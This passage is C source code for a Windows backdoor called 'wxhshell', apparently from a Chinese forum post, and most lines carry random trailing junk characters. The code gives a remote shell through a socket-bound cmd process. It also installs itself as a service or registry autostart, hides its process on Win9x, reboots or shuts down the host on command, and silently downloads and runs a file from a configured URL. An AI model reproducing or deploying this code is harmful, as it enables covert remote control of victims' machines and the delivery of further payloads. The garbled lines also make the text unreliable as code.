      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -j<m0XUQ  
    break; N/]TZu~k z  
  } i9w xP i  
  // 安装 ))u$j4 V  
  case 'i': { OpYq qBf_  
    if(Install()) :N(L7&<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 350y6pVh  
    else bSBI[S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yU&A[DZQ  
    break; UI |D?z<  
    } 2qw~hWX  
  // 卸载 1 BVivEG  
  case 'r': { H`m| R  
    if(Uninstall()) l0Y(9(M@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L2AZ0E"ub  
    else Oxy. V+R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t4 h5R  
    break; @^/JNtbH!  
    } I x-FJF-  
  // 显示 wxhshell 所在路径 w ~Es,@  
  case 'p': { ^25$=0  
    char svExeFile[MAX_PATH]; hNSV}~h  
    strcpy(svExeFile,"\n\r"); t~gnai  
      strcat(svExeFile,ExeFile); fytgS(?I'  
        send(wsh,svExeFile,strlen(svExeFile),0); *(s)CWf  
    break; dLG5yx\js  
    } :@19,.L  
  // 重启 TC" mP!1  
  case 'b': { ln#Lx&r;|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w9l)=[s=  
    if(Boot(REBOOT)) ]`]m41+w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @I #@%"AW  
    else { 99H&#!~bSS  
    closesocket(wsh); W/xb[w9v  
    ExitThread(0); 0|HD(d`a  
    } KGzBK:  
    break; .u)Po;e`  
    } "VB-=. A  
  // 关机 -i7W|X"  
  case 'd': { !SKEL6~7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qtD3<iWV  
    if(Boot(SHUTDOWN)) p7Gs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @y{Whun~  
    else { &-s!ko4z  
    closesocket(wsh); &3'II:x(  
    ExitThread(0); 5}E8Tl  
    } UACWs3`s+  
    break; ?RA^Y N*9  
    } 0:Ak 4L6k  
  // 获取shell }vPDCUZ  
  case 's': { _hM3p  
    CmdShell(wsh); J'.U+XU  
    closesocket(wsh); % )?$82=2  
    ExitThread(0); SP 97Q-  
    break; 0ppZ~}&  
  } *GTCVxu  
  // 退出 /t(dhz&xN  
  case 'x': { a<rk'4,8a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $@7S+'Q3  
    CloseIt(wsh); V2V^*9(wu@  
    break; +}J2\!Jw  
    } t%/Y^N;  
  // 离开 =VH, i/@  
  case 'q': { Ck/4h Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); htq#( M  
    closesocket(wsh); U;LbP -{B  
    WSACleanup(); ZH~T'Bg  
    exit(1); Sz.jv#Y  
    break; 7fgA)dU:K  
        } a)`b;]+9  
  } uy9k^4Cqa  
  } +Y0Wiwr'  
^$4d'  
  // 提示信息 r ~si:?6:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '@3hU|jO!  
} ez"Xb 7  
  } S=n,unn#t  
A_muuOIcI  
  return; `u 3to{  
} )ZEUD] X  
7^ A;.x  
// shell模块句柄 .|NF8Fj  
int CmdShell(SOCKET sock) H$9--p  
{ S2HGf~rE  
STARTUPINFO si; /o*r[g7<  
ZeroMemory(&si,sizeof(si)); k+f!)7_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c6:"5};_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y<.0+YL-e+  
PROCESS_INFORMATION ProcessInfo;  !NUsfd  
char cmdline[]="cmd"; ek1YaE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KDhr.P.~  
  return 0; ]s ?BwLU6  
} ZqsI\"bj  
<(TTYf8lS  
// 自身启动模式 n4h@{Xg  
int StartFromService(void) }nvH Eo  
{ 5 P9hm[  
typedef struct Vv~rgNh  
{ ,Drd s"H  
  DWORD ExitStatus; +R@5e+auQ.  
  DWORD PebBaseAddress; ?%J{1+hY  
  DWORD AffinityMask; I83ZN]  
  DWORD BasePriority; g4cmYg3  
  ULONG UniqueProcessId; lpQsmd#  
  ULONG InheritedFromUniqueProcessId; UQgOtqL3  
}   PROCESS_BASIC_INFORMATION; "45O!AjP  
ja3wXz$2  
PROCNTQSIP NtQueryInformationProcess; H[#s&Fk2  
wXIsc;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !([Q1r{u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `VCU`Y  
<7fF9X  
  HANDLE             hProcess; rlqn39  
  PROCESS_BASIC_INFORMATION pbi; uvz}qH@j/Q  
2cY7sE068  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8`XT`H  
  if(NULL == hInst ) return 0; uh*b[`e  
 +ulBy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =|O`al  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +/y 3]}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gnop  
^o}!=aMr  
  if (!NtQueryInformationProcess) return 0; -K hXb  
qMD6LWJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s,XKl5'+8e  
  if(!hProcess) return 0; 1H`T=:P?  
 m/gl7+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +e+hIMur  
%B5.zs]Of  
  CloseHandle(hProcess);  s.&ewf\  
o6,$;-?F_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A rC4pT   
if(hProcess==NULL) return 0; Y0fX\6=h  
"v@$CR9<T  
HMODULE hMod; I9O!CQCTt  
char procName[255]; e@"1W  
unsigned long cbNeeded; _\waA^ F  
*jM~VTXwt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vY0C(jK  
zim]3%b*A;  
  CloseHandle(hProcess); g N76  
-L>xVF-|:1  
if(strstr(procName,"services")) return 1; // 以服务启动 L/dG 0a@1X  
A@-nn]  
  return 0; // 注册表启动 OBaG'lrZy  
} (oO*|\9u  
3qU#Rg ;7  
// 主模块 )/kkvI()l  
int StartWxhshell(LPSTR lpCmdLine) :fz&)e9  
{ HTiqErD2_  
  SOCKET wsl; tn!z^W  
BOOL val=TRUE; -jy- KC  
  int port=0; ]ZKmf}A)1P  
  struct sockaddr_in door; qXPjxTg{[  
Hv2t_QjKT  
  if(wscfg.ws_autoins) Install(); aZEi|\VU  
?n<b:oO  
port=atoi(lpCmdLine); xp-.,^q\w  
/T&z :st0  
if(port<=0) port=wscfg.ws_port; 5W_u|z+/g  
={,\6a|]:  
  WSADATA data; PhL}V|W>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _|qJ)gD[  
tj/X 7|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;/?M&rX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z]f_? @0  
  door.sin_family = AF_INET; Y^DS~CrM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Si#I^aF`%  
  door.sin_port = htons(port); {`5Sh1b  
a_Y*pOu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @b[{.m U  
closesocket(wsl); EfHo1Yn&  
return 1; 'F>eieO  
} (n:d {bKV  
|@#37  
  if(listen(wsl,2) == INVALID_SOCKET) { 1xN6V-qk  
closesocket(wsl); hbm%{*d  
return 1; 8q9HQ4dsL  
} L1=+x^WQ  
  Wxhshell(wsl); OI0#@_L&  
  WSACleanup(); |hBX"  
U6^x(2De  
return 0; {(;dHF%{  
y)iT-$bQ  
} j\l9|vpp  
.^6;_s>FN  
// 以NT服务方式启动 cojtQ D6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sq `f?tA?  
{ gz fs9e  
DWORD   status = 0; EC(,-sz\Z  
  DWORD   specificError = 0xfffffff; 4qMqA T  
'<! b}1w0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qxS=8#-`(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y+b4s Ff  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ip#BR!$n  
  serviceStatus.dwWin32ExitCode     = 0; 7)&}riQ  
  serviceStatus.dwServiceSpecificExitCode = 0; .B 2?%2S  
  serviceStatus.dwCheckPoint       = 0; ~2 L{m[s|  
  serviceStatus.dwWaitHint       = 0;  2fZVBj  
k#mQLv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )~/;Xl#b-  
  if (hServiceStatusHandle==0) return; reo  
lAjP'(  
status = GetLastError(); #[ZF'9x  
  if (status!=NO_ERROR) O?`=<W/R  
{ B \?We\y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; anDwv }  
    serviceStatus.dwCheckPoint       = 0;  mZGAl1`8  
    serviceStatus.dwWaitHint       = 0; +ob<? T  
    serviceStatus.dwWin32ExitCode     = status; &!/E&e$_  
    serviceStatus.dwServiceSpecificExitCode = specificError; mocR_3=Q?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "^sh:{  
    return; tA#7Xr+  
  } kU uDA><1  
5=< y%VF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kb"g  
  serviceStatus.dwCheckPoint       = 0; yX%q7ex  
  serviceStatus.dwWaitHint       = 0;  pkWJb!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 50MdZ;R-3  
} w-f[h  
&T7|f!y  
// 处理NT服务事件,比如:启动、停止 <cC0l-=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Fh2$,$ 2  
{ Q[g>ee  
switch(fdwControl) hC1CISm.U  
{ "ecG\}R=  
case SERVICE_CONTROL_STOP: : ?K}.Kb  
  serviceStatus.dwWin32ExitCode = 0; luA k$Es  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Kob i!  
  serviceStatus.dwCheckPoint   = 0; oW0A8_|9  
  serviceStatus.dwWaitHint     = 0; |%wgux`z  
  { 8:W," "  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vz=ByyC  
  } a4'KiA2r  
  return; UNx|+  
case SERVICE_CONTROL_PAUSE: <i~O0f]   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U[l7n3Y=  
  break; h8R3N?S3#  
case SERVICE_CONTROL_CONTINUE: CcF$?07 i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m 2tw[6M  
  break; Eqx2.S  
case SERVICE_CONTROL_INTERROGATE: U)v['5%  
  break; q_0So}  
}; }>)e~\Tdzb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >[,ywRJ#_}  
} ixK& E#  
d! BQ%a  
// 标准应用程序主函数 i}fAjS:W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) to}g4  
{ 4r'QP .h  
^,P# <,D,  
// 获取操作系统版本 M4%u~Z:4h+  
OsIsNt=GetOsVer(); $0uh8RB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4CUoXs'  
A&HN7C%X  
  // 从命令行安装 E5^P*6c(  
  if(strpbrk(lpCmdLine,"iI")) Install(); bn$('  
jkTh)Bm|'  
  // 下载执行文件 &m=GkK  
if(wscfg.ws_downexe) { DC&3=Nd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h=:*cqp4  
  WinExec(wscfg.ws_filenam,SW_HIDE); tl:V8sYTP  
} JbV\eE#KrC  
.G ^-. p  
if(!OsIsNt) { s} I8:ufT  
// 如果时win9x,隐藏进程并且设置为注册表启动 uX.^zg]}%  
HideProc(); Dd:TFZo  
StartWxhshell(lpCmdLine); xz$-_NWW  
} E{LLxGAEZ  
else S]}hh,A  
  if(StartFromService()) \wJ2>Q  
  // 以服务方式启动 I_/E0qSJI  
  StartServiceCtrlDispatcher(DispatchTable); _Q9Mn-&qQ  
else >yZe1CP  
  // 普通方式启动 9<e%('@[  
  StartWxhshell(lpCmdLine); ?%|w?Fdx-  
bv&#ay 7  
return 0; Az+k8=?  
}
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只看该作者 1 发表于: 2006-10-10
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